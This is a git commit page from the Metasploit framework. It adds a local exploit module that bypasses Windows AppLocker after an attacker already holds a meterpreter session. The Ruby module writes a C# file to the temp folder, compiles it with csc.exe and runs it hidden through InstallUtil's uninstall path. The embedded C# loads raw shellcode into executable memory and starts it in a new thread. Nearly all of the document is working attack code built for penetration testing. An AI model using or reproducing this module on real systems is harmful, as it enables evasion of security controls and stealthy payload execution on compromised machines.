Add module for AppLocker bypass

This commit includes a new module that allows for payloads to be
uploaded and executed from disk while bypassing AppLocker in the
process. This module is useful for when you're attempting to generate
new shells on the target once you've already got a session. It is also
a handy way of switching between 32 and 64 bit sessions (in the case of
the InstallUtil technique).

The code is taken from Casey Smith's AppLocker bypass research (added in
the references), and includes just one technique at this point. This
technique uses the InstallUtil feature that comes with .NET. Other
techiques can be added at any time.

The code creates a C# file and uploads it to the target. The csc.exe
compiler is used to create a .NET assembly that contains an uninstaller
that gets invoked by InstallUtil behind the scenes. This function is
what contains the payload.

This was tested on Windows 7 x64. It supports running of both 32 and 64
bit payloads out of the box, and checks to make sure that .NET is
installed on the target as well as having a payload that is valid for
the machine (ie. don't run x64 on x86 OSes).

This appears to work fine with both staged and stageless payloads.
bug/bundler_fix
OJ 2016-02-18 13:33:43 +10:00
parent 95484c81fd
commit 2f4ec0af31
1 changed files with 146 additions and 0 deletions

View File

@ -0,0 +1,146 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'AppLocker bypass',
'Description' => %q{
This module will generate a .NET service executable on the target and utilise
InstallUtil to run the payload bypassing the AppLocker protection.
Currently only the InstallUtil method is provided, but future methods can be
added easily.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # Original AppLocker bypass research
'OJ Reeves' # MSF module
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> 'Aug 3 2015',
'References' =>
[
['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57']
]
))
register_options([
OptEnum.new('TECHNIQUE', [true, 'Technique to use to bypass AppLocker',
'INSTALLUTIL', %w(INSTALLUTIL)])])
end
# Run Method for when run command is issued
def exploit
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
if payload.arch.first == 'x64' and !(sysinfo['Architecture'] =~ /64/)
fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')
end
end
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
execute_installutil
end
end
def execute_installutil
envs = get_envs('TEMP', 'windir')
dotnet_path = get_dotnet_path(envs['windir'])
print_status("Using .NET path #{dotnet_path}")
cs_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.cs"
exe_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.exe"
installutil_path = "#{dotnet_path}\\InstallUtil.exe"
print_status("Writing payload to #{cs_path}")
write_file(cs_path, generate_csharp_source)
register_files_for_cleanup(cs_path)
print_status("Compiling payload to #{exe_path}")
csc_path = "#{dotnet_path}\\csc.exe"
csc_platform = payload.arch.first == 'x86' ? 'x86' : 'x64'
vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")
cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")
print_status("Executing payload ...")
vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}")
client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", {'Hidden' => true})
register_files_for_cleanup(exe_path)
end
def get_dotnet_path(windir)
base_path = "#{windir}\\Microsoft.NET\\Framework#{payload.arch.first == 'x86' ? '' : '64'}"
paths = client.fs.dir.entries(base_path).select {|p| p[0] == 'v'}
version = paths.last
dotnet_path = "#{base_path}\\#{version}"
unless dotnet_path && client.fs.file.stat(dotnet_path).directory?
fail_with(Failure::NotVulnerable, '.NET is not present on the target.')
end
dotnet_path
end
def generate_csharp_source
sc = payload.encoded.each_byte.map {|b| "0x#{b.to_s(16)}"}.join(',')
cs = %Q^
using System;
namespace Pop
{
public class Program { public static void Main() { } }
[System.ComponentModel.RunInstaller(true)]
public class Pop : System.Configuration.Install.Installer
{
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
private static UInt32 INFINITE = 0xFFFFFFFF;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
public override void Uninstall(System.Collections.IDictionary s)
{
byte[] sc = new byte[] {#{sc}};
IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);
IntPtr id = IntPtr.Zero;
WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);
}
}
}
^
cs
end
end